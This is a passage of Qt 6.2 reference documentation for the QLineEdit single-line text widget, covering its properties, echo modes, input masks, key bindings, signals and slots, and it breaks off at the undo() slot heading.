|  CMake: |  find\_package(Qt6 COMPONENTS Widgets REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Widgets) |
|  qmake: |  QT += widgets |
|  Inherits: | [QWidget](qwidget) |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qlineedit-members.html)

 Public Types
------------

 

|  |  |
| --- | --- |
|  enum  | **[ActionPosition](qlineedit#ActionPosition-enum)** { LeadingPosition, TrailingPosition } |
|  enum  | **[EchoMode](qlineedit#EchoMode-enum)** { Normal, NoEcho, Password, PasswordEchoOnEdit } |

 Properties
----------

 

|  |  |
| --- | --- |
| * **[acceptableInput](qlineedit#acceptableInput-prop)** : const bool
* **[alignment](qlineedit#alignment-prop)** : Qt::Alignment
* **[clearButtonEnabled](qlineedit#clearButtonEnabled-prop)** : bool
* **[cursorMoveStyle](qlineedit#cursorMoveStyle-prop)** : Qt::CursorMoveStyle
* **[cursorPosition](qlineedit#cursorPosition-prop)** : int
* **[displayText](qlineedit#displayText-prop)** : const QString
* **[dragEnabled](qlineedit#dragEnabled-prop)** : bool
* **[echoMode](qlineedit#echoMode-prop)** : EchoMode
* **[frame](qlineedit#frame-prop)** : bool
* **[hasSelectedText](qlineedit#hasSelectedText-prop)** : const bool
 | * **[inputMask](qlineedit#inputMask-prop)** : QString
* **[maxLength](qlineedit#maxLength-prop)** : int
* **[modified](qlineedit#modified-prop)** : bool
* **[placeholderText](qlineedit#placeholderText-prop)** : QString
* **[readOnly](qlineedit#readOnly-prop)** : bool
* **[redoAvailable](qlineedit#redoAvailable-prop)** : const bool
* **[selectedText](qlineedit#selectedText-prop)** : const QString
* **[text](qlineedit#text-prop)** : QString
* **[undoAvailable](qlineedit#undoAvailable-prop)** : const bool
 |

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QLineEdit](qlineedit#QLineEdit-1)**(const QString &*contents*, QWidget \**parent* = nullptr) |
|  | **[QLineEdit](qlineedit#QLineEdit)**(QWidget \**parent* = nullptr) |
|  virtual  | **[~QLineEdit](qlineedit#dtor.QLineEdit)**() |
|  void  | **[addAction](qlineedit#addAction)**(QAction \**action*, QLineEdit::ActionPosition *position*) |
|  QAction \* | **[addAction](qlineedit#addAction-1)**(const QIcon &*icon*, QLineEdit::ActionPosition *position*) |
|  Qt::Alignment  | **[alignment](qlineedit#alignment-prop)**() const |
|  void  | **[backspace](qlineedit#backspace)**() |
|  QCompleter \* | **[completer](qlineedit#completer)**() const |
|  QMenu \* | **[createStandardContextMenu](qlineedit#createStandardContextMenu)**() |
|  void  | **[cursorBackward](qlineedit#cursorBackward)**(bool *mark*, int *steps* = 1) |
|  void  | **[cursorForward](qlineedit#cursorForward)**(bool *mark*, int *steps* = 1) |
|  Qt::CursorMoveStyle  | **[cursorMoveStyle](qlineedit#cursorMoveStyle-prop)**() const |
|  int  | **[cursorPosition](qlineedit#cursorPosition-prop)**() const |
|  int  | **[cursorPositionAt](qlineedit#cursorPositionAt)**(const QPoint &*pos*) |
|  void  | **[cursorWordBackward](qlineedit#cursorWordBackward)**(bool *mark*) |
|  void  | **[cursorWordForward](qlineedit#cursorWordForward)**(bool *mark*) |
|  void  | **[del](qlineedit#del)**() |
|  void  | **[deselect](qlineedit#deselect)**() |
|  QString  | **[displayText](qlineedit#displayText-prop)**() const |
|  bool  | **[dragEnabled](qlineedit#dragEnabled-prop)**() const |
|  QLineEdit::EchoMode  | **[echoMode](qlineedit#echoMode-prop)**() const |
|  void  | **[end](qlineedit#end)**(bool *mark*) |
|  bool  | **[hasAcceptableInput](qlineedit#acceptableInput-prop)**() const |
|  bool  | **[hasFrame](qlineedit#frame-prop)**() const |
|  bool  | **[hasSelectedText](qlineedit#hasSelectedText-prop)**() const |
|  void  | **[home](qlineedit#home)**(bool *mark*) |
|  QString  | **[inputMask](qlineedit#inputMask-prop)**() const |
|  void  | **[insert](qlineedit#insert)**(const QString &*newText*) |
|  bool  | **[isClearButtonEnabled](qlineedit#clearButtonEnabled-prop)**() const |
|  bool  | **[isModified](qlineedit#modified-prop)**() const |
|  bool  | **[isReadOnly](qlineedit#readOnly-prop)**() const |
|  bool  | **[isRedoAvailable](qlineedit#redoAvailable-prop)**() const |
|  bool  | **[isUndoAvailable](qlineedit#undoAvailable-prop)**() const |
|  int  | **[maxLength](qlineedit#maxLength-prop)**() const |
|  QString  | **[placeholderText](qlineedit#placeholderText-prop)**() const |
|  QString  | **[selectedText](qlineedit#selectedText-prop)**() const |
|  int  | **[selectionEnd](qlineedit#selectionEnd)**() const |
|  int  | **[selectionLength](qlineedit#selectionLength)**() const |
|  int  | **[selectionStart](qlineedit#selectionStart)**() const |
|  void  | **[setAlignment](qlineedit#alignment-prop)**(Qt::Alignment *flag*) |
|  void  | **[setClearButtonEnabled](qlineedit#clearButtonEnabled-prop)**(bool *enable*) |
|  void  | **[setCompleter](qlineedit#setCompleter)**(QCompleter \**c*) |
|  void  | **[setCursorMoveStyle](qlineedit#cursorMoveStyle-prop)**(Qt::CursorMoveStyle *style*) |
|  void  | **[setCursorPosition](qlineedit#cursorPosition-prop)**(int) |
|  void  | **[setDragEnabled](qlineedit#dragEnabled-prop)**(bool *b*) |
|  void  | **[setEchoMode](qlineedit#echoMode-prop)**(QLineEdit::EchoMode) |
|  void  | **[setFrame](qlineedit#frame-prop)**(bool) |
|  void  | **[setInputMask](qlineedit#inputMask-prop)**(const QString &*inputMask*) |
|  void  | **[setMaxLength](qlineedit#maxLength-prop)**(int) |
|  void  | **[setModified](qlineedit#modified-prop)**(bool) |
|  void  | **[setPlaceholderText](qlineedit#placeholderText-prop)**(const QString &) |
|  void  | **[setReadOnly](qlineedit#readOnly-prop)**(bool) |
|  void  | **[setSelection](qlineedit#setSelection)**(int *start*, int *length*) |
|  void  | **[setTextMargins](qlineedit#setTextMargins)**(int *left*, int *top*, int *right*, int *bottom*) |
|  void  | **[setTextMargins](qlineedit#setTextMargins-1)**(const QMargins &*margins*) |
|  void  | **[setValidator](qlineedit#setValidator)**(const QValidator \**v*) |
|  QString  | **[text](qlineedit#text-prop)**() const |
|  QMargins  | **[textMargins](qlineedit#textMargins)**() const |
|  const QValidator \* | **[validator](qlineedit#validator)**() const |

 Reimplemented Public Functions
------------------------------

 

|  |  |
| --- | --- |
|  virtual bool  | **[event](qlineedit#event)**(QEvent \**e*) override |
|  virtual QVariant  | **[inputMethodQuery](qlineedit#inputMethodQuery)**(Qt::InputMethodQuery *property*) const override |
|  virtual QSize  | **[minimumSizeHint](qlineedit#minimumSizeHint)**() const override |
|  virtual QSize  | **[sizeHint](qlineedit#sizeHint)**() const override |
|  virtual void  | **[timerEvent](qlineedit#timerEvent)**(QTimerEvent \**e*) override |

 Public Slots
------------

 

|  |  |
| --- | --- |
|  void  | **[clear](qlineedit#clear)**() |
|  void  | **[copy](qlineedit#copy)**() const |
|  void  | **[cut](qlineedit#cut)**() |
|  void  | **[paste](qlineedit#paste)**() |
|  void  | **[redo](qlineedit#redo)**() |
|  void  | **[selectAll](qlineedit#selectAll)**() |
|  void  | **[setText](qlineedit#text-prop)**(const QString &) |
|  void  | **[undo](qlineedit#undo)**() |

 Signals
-------

 

|  |  |
| --- | --- |
|  void  | **[cursorPositionChanged](qlineedit#cursorPositionChanged)**(int *oldPos*, int *newPos*) |
|  void  | **[editingFinished](qlineedit#editingFinished)**() |
|  void  | **[inputRejected](qlineedit#inputRejected)**() |
|  void  | **[returnPressed](qlineedit#returnPressed)**() |
|  void  | **[selectionChanged](qlineedit#selectionChanged)**() |
|  void  | **[textChanged](qlineedit#textChanged)**(const QString &*text*) |
|  void  | **[textEdited](qlineedit#textEdited)**(const QString &*text*) |

 Protected Functions
-------------------

 

|  |  |
| --- | --- |
|  QRect  | **[cursorRect](qlineedit#cursorRect)**() const |
|  virtual void  | **[initStyleOption](qlineedit#initStyleOption)**(QStyleOptionFrame \**option*) const |

 Reimplemented Protected Functions
---------------------------------

 

|  |  |
| --- | --- |
|  virtual void  | **[changeEvent](qlineedit#changeEvent)**(QEvent \**ev*) override |
|  virtual void  | **[contextMenuEvent](qlineedit#contextMenuEvent)**(QContextMenuEvent \**event*) override |
|  virtual void  | **[dragEnterEvent](qlineedit#dragEnterEvent)**(QDragEnterEvent \**e*) override |
|  virtual void  | **[dragLeaveEvent](qlineedit#dragLeaveEvent)**(QDragLeaveEvent \**e*) override |
|  virtual void  | **[dragMoveEvent](qlineedit#dragMoveEvent)**(QDragMoveEvent \**e*) override |
|  virtual void  | **[dropEvent](qlineedit#dropEvent)**(QDropEvent \**e*) override |
|  virtual void  | **[focusInEvent](qlineedit#focusInEvent)**(QFocusEvent \**e*) override |
|  virtual void  | **[focusOutEvent](qlineedit#focusOutEvent)**(QFocusEvent \**e*) override |
|  virtual void  | **[inputMethodEvent](qlineedit#inputMethodEvent)**(QInputMethodEvent \**e*) override |
|  virtual void  | **[keyPressEvent](qlineedit#keyPressEvent)**(QKeyEvent \**event*) override |
|  virtual void  | **[keyReleaseEvent](qlineedit#keyReleaseEvent)**(QKeyEvent \*) override |
|  virtual void  | **[mouseDoubleClickEvent](qlineedit#mouseDoubleClickEvent)**(QMouseEvent \**e*) override |
|  virtual void  | **[mouseMoveEvent](qlineedit#mouseMoveEvent)**(QMouseEvent \**e*) override |
|  virtual void  | **[mousePressEvent](qlineedit#mousePressEvent)**(QMouseEvent \**e*) override |
|  virtual void  | **[mouseReleaseEvent](qlineedit#mouseReleaseEvent)**(QMouseEvent \**e*) override |
|  virtual void  | **[paintEvent](qlineedit#paintEvent)**(QPaintEvent \*) override |

 Detailed Description
--------------------

 ![]


A line edit allows the user to enter and edit a single line of plain text with a useful collection of editing functions, including undo and redo, cut and paste, and drag and drop (see [setDragEnabled](qlineedit#dragEnabled-prop)()).

 By changing the [echoMode](qlineedit#echoMode-prop)() of a line edit, it can also be used as a "write-only" field, for inputs such as passwords.

 The length of the text can be constrained to [maxLength](qlineedit#maxLength-prop)(). The text can be arbitrarily constrained using a [validator](qlineedit#validator)() or an [inputMask](qlineedit#inputMask-prop)(), or both. When switching between a validator and an input mask on the same line edit, it is best to clear the validator or input mask to prevent undefined behavior.

 A related class is [QTextEdit](qtextedit) which allows multi-line, rich text editing.

 You can change the text with [setText](qlineedit#text-prop)() or [insert](qlineedit#insert)(). The text is retrieved with [text](qlineedit#text-prop)(); the displayed text (which may be different, see [EchoMode](qlineedit#EchoMode-enum)) is retrieved with [displayText](qlineedit#displayText-prop)(). Text can be selected with [setSelection](qlineedit#setSelection)() or [selectAll](qlineedit#selectAll)(), and the selection can be [cut](qlineedit#cut)(), [copy](qlineedit#copy)()ied and [paste](qlineedit#paste)()d. The text can be aligned with [setAlignment](qlineedit#alignment-prop)().

 When the text changes the [textChanged](qlineedit#textChanged)() signal is emitted; when the text changes other than by calling [setText](qlineedit#text-prop)() the [textEdited](qlineedit#textEdited)() signal is emitted; when the cursor is moved the [cursorPositionChanged](qlineedit#cursorPositionChanged)() signal is emitted; and when the Return or Enter key is pressed the [returnPressed](qlineedit#returnPressed)() signal is emitted.

 When editing is finished, either because the line edit lost focus or Return/Enter is pressed the [editingFinished](qlineedit#editingFinished)() signal is emitted. Note that if focus is lost without any changes done, the [editingFinished](qlineedit#editingFinished)() signal won't be emitted.

 Note that if there is a validator set on the line edit, the [returnPressed](qlineedit#returnPressed)()/[editingFinished](qlineedit#editingFinished)() signals will only be emitted if the validator returns [QValidator::Acceptable](qvalidator#State-enum).

 By default, QLineEdits have a frame as specified by platform style guides; you can turn it off by calling [setFrame](qlineedit#frame-prop)(false).

 The default key bindings are described below. The line edit also provides a context menu (usually invoked by a right mouse click) that presents some of these editing options. 

 

| Keypress | Action |
| --- | --- |
| Left Arrow | Moves the cursor one character to the left. |
| Shift+Left Arrow | Moves and selects text one character to the left. |
| Right Arrow | Moves the cursor one character to the right. |
| Shift+Right Arrow | Moves and selects text one character to the right. |
| Home | Moves the cursor to the beginning of the line. |
| End | Moves the cursor to the end of the line. |
| Backspace | Deletes the character to the left of the cursor. |
| Ctrl+Backspace | Deletes the word to the left of the cursor. |
| Delete | Deletes the character to the right of the cursor. |
| Ctrl+Delete | Deletes the word to the right of the cursor. |
| Ctrl+A | Select all. |
| Ctrl+C | Copies the selected text to the clipboard. |
| Ctrl+Insert | Copies the selected text to the clipboard. |
| Ctrl+K | Deletes to the end of the line. |
| Ctrl+V | Pastes the clipboard text into line edit. |
| Shift+Insert | Pastes the clipboard text into line edit. |
| Ctrl+X | Deletes the selected text and copies it to the clipboard. |
| Shift+Delete | Deletes the selected text and copies it to the clipboard. |
| Ctrl+Z | Undoes the last operation. |
| Ctrl+Y | Redoes the last undone operation. |

 Any other key sequence that represents a valid character, will cause the character to be inserted into the line edit.

 **See also** [QTextEdit](qtextedit), [QLabel](qlabel), [QComboBox](qcombobox), [GUI Design Handbook: Field, Entry](https://doc.qt.io/qt-6.2/guibooks.html#fowler), and [Line Edits Example](https://doc.qt.io/qt-6.2/qtwidgets-widgets-lineedits-example.html).

 Member Type Documentation
-------------------------

 ### 
`[since 5.2]` enum QLineEdit::ActionPosition

 This enum type describes how a line edit should display the action widgets to be added.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QLineEdit::LeadingPosition` | `0` | The widget is displayed to the left of the text when using layout direction `Qt::LeftToRight` or to the right when using `Qt::RightToLeft`, respectively. |
| `QLineEdit::TrailingPosition` | `1` | The widget is displayed to the right of the text when using layout direction `Qt::LeftToRight` or to the left when using `Qt::RightToLeft`, respectively. |

 This enum was introduced or modified in Qt 5.2.

 **See also** [addAction](qlineedit#addAction)(), [removeAction](qwidget#removeAction)(), and [QWidget::layoutDirection](qwidget#layoutDirection-prop).

 ### enum QLineEdit::EchoMode

 This enum type describes how a line edit should display its contents.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QLineEdit::Normal` | `0` | Display characters as they are entered. This is the default. |
| `QLineEdit::NoEcho` | `1` | Do not display anything. This may be appropriate for passwords where even the length of the password should be kept secret. |
| `QLineEdit::Password` | `2` | Display platform-dependent password mask characters instead of the characters actually entered. |
| `QLineEdit::PasswordEchoOnEdit` | `3` | Display characters as they are entered while editing otherwise display characters as with `Password`. |

 **See also** [setEchoMode](qlineedit#echoMode-prop)() and [echoMode](qlineedit#echoMode-prop)().

  Property Documentation
----------------------

 ### 
`[read-only]` acceptableInput : const bool

 This property holds whether the input satisfies the [inputMask](qlineedit#inputMask-prop) and the validator.

 By default, this property is `true`.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **hasAcceptableInput**() const |

 **See also** [setInputMask](qlineedit#inputMask-prop)() and [setValidator](qlineedit#setValidator)().

 ### 
alignment : [Qt::Alignment](qt#AlignmentFlag-enum)

 This property holds the alignment of the line edit.

 Both horizontal and vertical alignment is allowed here, [Qt::AlignJustify](qt#AlignmentFlag-enum) will map to [Qt::AlignLeft](qt#AlignmentFlag-enum).

 By default, this property contains a combination of [Qt::AlignLeft](qt#AlignmentFlag-enum) and [Qt::AlignVCenter](qt#AlignmentFlag-enum).

 **Access functions:**

 

|  |  |
| --- | --- |
|  Qt::Alignment  | **alignment**() const |
|  void  | **setAlignment**(Qt::Alignment *flag*) |

 **See also** [Qt::Alignment](qt#AlignmentFlag-enum).

 ### 
`[since 5.2]` clearButtonEnabled : bool

 This property holds whether the line edit displays a clear button when it is not empty.

 If enabled, the line edit displays a trailing *clear* button when it contains some text, otherwise the line edit does not show a clear button (the default).

 This property was introduced in Qt 5.2.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **isClearButtonEnabled**() const |
|  void  | **setClearButtonEnabled**(bool *enable*) |

 **See also** [addAction](qlineedit#addAction)() and [removeAction](qwidget#removeAction)().

 ### 
cursorMoveStyle : [Qt::CursorMoveStyle](qt#CursorMoveStyle-enum)

 This property holds the movement style of cursor in this line edit.

 When this property is set to [Qt::VisualMoveStyle](qt#CursorMoveStyle-enum), the line edit will use visual movement style. Pressing the left arrow key will always cause the cursor to move left, regardless of the text's writing direction. The same behavior applies to right arrow key.

 When the property is [Qt::LogicalMoveStyle](qt#CursorMoveStyle-enum) (the default), within a LTR text block, increase cursor position when pressing left arrow key, decrease cursor position when pressing the right arrow key. If the text block is right to left, the opposite behavior applies.

 **Access functions:**

 

|  |  |
| --- | --- |
|  Qt::CursorMoveStyle  | **cursorMoveStyle**() const |
|  void  | **setCursorMoveStyle**(Qt::CursorMoveStyle *style*) |

 ### 
cursorPosition : int

 This property holds the current cursor position for this line edit.

 Setting the cursor position causes a repaint when appropriate.

 By default, this property contains a value of 0.

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **cursorPosition**() const |
|  void  | **setCursorPosition**(int) |

 ### 
`[read-only]` displayText : const [QString](qstring)

 This property holds the displayed text.

 If [echoMode](qlineedit#echoMode-prop) is [Normal](qlineedit#EchoMode-enum) this returns the same as [text](qlineedit#text-prop)(); if [EchoMode](qlineedit#EchoMode-enum) is [Password](qlineedit#EchoMode-enum) or [PasswordEchoOnEdit](qlineedit#EchoMode-enum) it returns a string of platform-dependent password mask characters [text](qlineedit#text-prop)().length() in size, e.g. "\*\*\*\*\*\*"; if [EchoMode](qlineedit#EchoMode-enum) is [NoEcho](qlineedit#EchoMode-enum) returns an empty string, "".

 By default, this property contains an empty string.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **displayText**() const |

 **See also** [setEchoMode](qlineedit#echoMode-prop)(), [text](qlineedit#text-prop)(), and [EchoMode](qlineedit#EchoMode-enum).

 ### 
dragEnabled : bool

 This property holds whether the lineedit starts a drag if the user presses and moves the mouse on some selected text.

 Dragging is disabled by default.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **dragEnabled**() const |
|  void  | **setDragEnabled**(bool *b*) |

 ### 
echoMode : [EchoMode](qlineedit#EchoMode-enum)

 This property holds the line edit's echo mode.

 The echo mode determines how the text entered in the line edit is displayed (or echoed) to the user.

 The most common setting is [Normal](qlineedit#EchoMode-enum), in which the text entered by the user is displayed verbatim, but [QLineEdit](qlineedit) also supports modes that allow the entered text to be suppressed or obscured: these include [NoEcho](qlineedit#EchoMode-enum), [Password](qlineedit#EchoMode-enum) and [PasswordEchoOnEdit](qlineedit#EchoMode-enum).

 The widget's display and the ability to copy or drag the text is affected by this setting.

 By default, this property is set to [Normal](qlineedit#EchoMode-enum).

 **Access functions:**

 

|  |  |
| --- | --- |
|  QLineEdit::EchoMode  | **echoMode**() const |
|  void  | **setEchoMode**(QLineEdit::EchoMode) |

 **See also** [EchoMode](qlineedit#EchoMode-enum) and [displayText](qlineedit#displayText-prop)().

 ### 
frame : bool

 This property holds whether the line edit draws itself with a frame.

 If enabled (the default) the line edit draws itself inside a frame, otherwise the line edit draws itself without any frame.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **hasFrame**() const |
|  void  | **setFrame**(bool) |

 ### 
`[read-only]` hasSelectedText : const bool

 This property holds whether there is any text selected.

 hasSelectedText() returns `true` if some or all of the text has been selected by the user; otherwise returns `false`.

 By default, this property is `false`.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **hasSelectedText**() const |

 **See also** [selectedText](qlineedit#selectedText-prop)().

 ### 
inputMask : [QString](qstring)

 This property holds the validation input mask.

 If no mask is set, inputMask() returns an empty string.

 Sets the [QLineEdit](qlineedit)'s validation mask. Validators can be used instead of, or in conjunction with masks; see [setValidator](qlineedit#setValidator)().

 Unset the mask and return to normal [QLineEdit](qlineedit) operation by passing an empty string ("").

 The input mask is an input template string. It can contain the following elements:

 

|  |  |
| --- | --- |
| Mask Characters | Defines the [Category](qchar#Category-enum) of input characters that are considered valid in this position |
| Meta Characters | Various special meanings |
| Separators | All other characters are regarded as immutable separators |

 The following table shows the mask and meta characters that can be used in an input mask.

 

| Mask Character | Meaning |
| --- | --- |
| `A` | character of the Letter category required, such as A-Z, a-z. |
| `a` | character of the Letter category permitted but not required. |
| `N` | character of the Letter or Number category required, such as A-Z, a-z, 0-9. |
| `n` | character of the Letter or Number category permitted but not required. |
| `X` | Any non-blank character required. |
| `x` | Any non-blank character permitted but not required. |
| `9` | character of the Number category required, e.g 0-9. |
| `0` | character of the Number category permitted but not required. |
| `D` | character of the Number category and larger than zero required, such as 1-9 |
| `d` | character of the Number category and larger than zero permitted but not required, such as 1-9. |
| `#` | character of the Number category, or plus/minus sign permitted but not required. |
| `H` | Hexadecimal character required. A-F, a-f, 0-9. |
| `h` | Hexadecimal character permitted but not required. |
| `B` | Binary character required. 0-1. |
| `b` | Binary character permitted but not required. |
| Meta Character | Meaning |
| --- | --- |
| `>` | All following alphabetic characters are uppercased. |
| `<` | All following alphabetic characters are lowercased. |
| `!` | Switch off case conversion. |
| `;c` | Terminates the input mask and sets the *blank* character to *c*. |
| `[ ] { }` | Reserved. |
| `\` | Use `\` to escape the special characters listed above to use them as separators. |

 When created or cleared, the line edit will be filled with a copy of the input mask string where the meta characters have been removed, and the mask characters have been replaced with the *blank* character (by default, a `space`).

 When an input mask is set, the [text](qlineedit#text-prop)() method returns a modified copy of the line edit content where all the *blank* characters have been removed. The unmodified content can be read using [displayText](qlineedit#displayText-prop)().

 The [hasAcceptableInput](qlineedit#acceptableInput-prop)() method returns false if the current content of the line edit does not fulfil the requirements of the input mask.

 Examples:

 

| Mask | Notes |
| --- | --- |
| `000.000.000.000;_` | IP address; blanks are `_`. |
| `HH:HH:HH:HH:HH:HH;_` | MAC address |
| `0000-00-00` | ISO Date; blanks are `space` |
| `>AAAAA-AAAAA-AAAAA-AAAAA-AAAAA;#` | License number; blanks are `#` and all (alphabetic) characters are converted to uppercase. |

 To get range control (e.g., for an IP address) use masks together with [validators](qlineedit#setValidator).

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **inputMask**() const |
|  void  | **setInputMask**(const QString &*inputMask*) |

 **See also** [maxLength](qlineedit#maxLength-prop), [QChar::isLetter](qchar#isLetter)(), [QChar::isNumber](qchar#isNumber)(), and [QChar::digitValue](qchar#digitValue)().

 ### 
maxLength : int

 This property holds the maximum permitted length of the text.

 If the text is too long, it is truncated at the limit.

 If truncation occurs any selected text will be unselected, the cursor position is set to 0 and the first part of the string is shown.

 If the line edit has an input mask, the mask defines the maximum string length.

 By default, this property contains a value of 32767.

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **maxLength**() const |
|  void  | **setMaxLength**(int) |

 **See also** [inputMask](qlineedit#inputMask-prop).

 ### 
modified : bool

 This property holds whether the line edit's contents has been modified by the user.

 The modified flag is never read by [QLineEdit](qlineedit); it has a default value of false and is changed to true whenever the user changes the line edit's contents.

 This is useful for things that need to provide a default value but do not start out knowing what the default should be (perhaps it depends on other fields on the form). Start the line edit without the best default, and when the default is known, if modified() returns `false` (the user hasn't entered any text), insert the default value.

 Calling [setText](qlineedit#text-prop)() resets the modified flag to false.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **isModified**() const |
|  void  | **setModified**(bool) |

 ### 
placeholderText : [QString](qstring)

 This property holds the line edit's placeholder text.

 Setting this property makes the line edit display a grayed-out placeholder text as long as the line edit is empty.

 Normally, an empty line edit shows the placeholder text even when it has focus. However, if the content is horizontally centered, the placeholder text is not displayed under the cursor when the line edit has focus.

 By default, this property contains an empty string.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **placeholderText**() const |
|  void  | **setPlaceholderText**(const QString &) |

 **See also** [text](qlineedit#text-prop)().

 ### 
readOnly : bool

 This property holds whether the line edit is read only.

 In read-only mode, the user can still copy the text to the clipboard, or drag and drop the text (if [echoMode](qlineedit#echoMode-prop)() is [Normal](qlineedit#EchoMode-enum)), but cannot edit it.

 [QLineEdit](qlineedit) does not show a cursor in read-only mode.

 By default, this property is `false`.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **isReadOnly**() const |
|  void  | **setReadOnly**(bool) |

 **See also** [setEnabled](qwidget#enabled-prop)().

 ### 
`[read-only]` redoAvailable : const bool

 This property holds whether redo is available.

 Redo becomes available once the user has performed one or more undo operations on text in the line edit.

 By default, this property is `false`.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **isRedoAvailable**() const |

 ### 
`[read-only]` selectedText : const [QString](qstring)

 This property holds the selected text.

 If there is no selected text this property's value is an empty string.

 By default, this property contains an empty string.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **selectedText**() const |

 **See also** [hasSelectedText](qlineedit#hasSelectedText-prop)().

 ### 
text : [QString](qstring)

 This property holds the line edit's text.

 Setting this property clears the selection, clears the undo/redo history, moves the cursor to the end of the line and resets the [modified](qlineedit#modified-prop) property to false. The text is not validated when inserted with setText().

 The text is truncated to [maxLength](qlineedit#maxLength-prop)() length.

 By default, this property contains an empty string.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **text**() const |
|  void  | **setText**(const QString &) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **[textChanged](qlineedit#textChanged)**(const QString &*text*) |

 **See also** [insert](qlineedit#insert)() and [clear](qlineedit#clear)().

 ### 
`[read-only]` undoAvailable : const bool

 This property holds whether undo is available.

 Undo becomes available once the user has modified the text in the line edit.

 By default, this property is `false`.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **isUndoAvailable**() const |

  Member Function Documentation
-----------------------------

 ### QLineEdit::QLineEdit(const [QString](qstring) &*contents*, [QWidget](qwidget#QWidget) \**parent* = nullptr)

 Constructs a line edit containing the text *contents*.

 The cursor position is set to the end of the line and the maximum text length to 32767 characters.

 The *parent* and argument is sent to the [QWidget](qwidget) constructor.

 **See also** [text](qlineedit#text-prop)() and [setMaxLength](qlineedit#maxLength-prop)().

 ### QLineEdit::QLineEdit([QWidget](qwidget#QWidget) \**parent* = nullptr)

 Constructs a line edit with no text.

 The maximum text length is set to 32767 characters.

 The *parent* argument is sent to the [QWidget](qwidget) constructor.

 **See also** [setText](qlineedit#text-prop)() and [setMaxLength](qlineedit#maxLength-prop)().

 ### 
`[slot]` void QLineEdit::clear()

 Clears the contents of the line edit.

 **See also** [setText](qlineedit#text-prop)() and [insert](qlineedit#insert)().

 ### 
`[slot]` void QLineEdit::copy() const

 Copies the selected text to the clipboard, if there is any, and if [echoMode](qlineedit#echoMode-prop)() is [Normal](qlineedit#EchoMode-enum).

 **See also** [cut](qlineedit#cut)() and [paste](qlineedit#paste)().

 ### 
`[signal]` void QLineEdit::cursorPositionChanged(int *oldPos*, int *newPos*)

 This signal is emitted whenever the cursor moves. The previous position is given by *oldPos*, and the new position by *newPos*.

 **See also** [setCursorPosition](qlineedit#cursorPosition-prop)() and [cursorPosition](qlineedit#cursorPosition-prop)().

 ### 
`[slot]` void QLineEdit::cut()

 Copies the selected text to the clipboard and deletes it, if there is any, and if [echoMode](qlineedit#echoMode-prop)() is [Normal](qlineedit#EchoMode-enum).

 If the current validator disallows deleting the selected text, cut() will copy without deleting.

 **See also** [copy](qlineedit#copy)(), [paste](qlineedit#paste)(), and [setValidator](qlineedit#setValidator)().

 ### 
`[signal]` void QLineEdit::editingFinished()

 This signal is emitted when the Return or Enter key is pressed, or if the line edit loses focus and its contents have changed since the last time this signal was emitted.

 Note that if there is a [validator](qlineedit#validator)() or [inputMask](qlineedit#inputMask-prop)() set on the line edit and enter/return is pressed, the editingFinished() signal will only be emitted if the input follows the [inputMask](qlineedit#inputMask-prop)() and the [validator](qlineedit#validator)() returns [QValidator::Acceptable](qvalidator#State-enum).

 ### 
`[signal, since 5.12]` void QLineEdit::inputRejected()

 This signal is emitted when the user presses a key that is not considered to be acceptable input. For example, if a key press results in a validator's validate() call to return Invalid. Another case is when trying to enter in more characters beyond the maximum length of the line edit.

 Note: This signal will still be emitted in a case where part of the text is accepted but not all of it is. For example, if there is a maximum length set and the clipboard text is longer than the maximum length when it is pasted.

 This function was introduced in Qt 5.12.

 ### 
`[slot]` void QLineEdit::paste()

 Inserts the clipboard's text at the cursor position, deleting any selected text, providing the line edit is not [read-only](qlineedit#readOnly-prop).

 If the end result would be invalid to the current [validator](qlineedit#setValidator), nothing happens.

 **See also** [copy](qlineedit#copy)() and [cut](qlineedit#cut)().

 ### 
`[slot]` void QLineEdit::redo()

 Redoes the last operation if redo is [available](qlineedit#redoAvailable-prop).

 ### 
`[signal]` void QLineEdit::returnPressed()

 This signal is emitted when the Return or Enter key is pressed. Note that if there is a [validator](qlineedit#validator)() or [inputMask](qlineedit#inputMask-prop)() set on the line edit, the returnPressed() signal will only be emitted if the input follows the [inputMask](qlineedit#inputMask-prop)() and the [validator](qlineedit#validator)() returns [QValidator::Acceptable](qvalidator#State-enum).

 ### 
`[slot]` void QLineEdit::selectAll()

 Selects all the text (i.e. highlights it) and moves the cursor to the end. This is useful when a default value has been inserted because if the user types before clicking on the widget, the selected text will be deleted.

 **See also** [setSelection](qlineedit#setSelection)() and [deselect](qlineedit#deselect)().

 ### 
`[signal]` void QLineEdit::selectionChanged()

 This signal is emitted whenever the selection changes.

 **See also** [hasSelectedText](qlineedit#hasSelectedText-prop)() and [selectedText](qlineedit#selectedText-prop)().

 ### 
`[signal]` void QLineEdit::textChanged(const [QString](qstring) &*text*)

 This signal is emitted whenever the text changes. The *text* argument is the new text.

 Unlike [textEdited](qlineedit#textEdited)(), this signal is also emitted when the text is changed programmatically, for example, by calling [setText](qlineedit#text-prop)().

 **Note:** Notifier signal for property [text](qlineedit#text-prop). 

 ### 
`[signal]` void QLineEdit::textEdited(const [QString](qstring) &*text*)

 This signal is emitted whenever the text is edited. The *text* argument is the new text.

 Unlike [textChanged](qlineedit#textChanged)(), this signal is not emitted when the text is changed programmatically, for example, by calling [setText](qlineedit#text-prop)().

 ### 
`[slot]` void QLineEdit::undo()

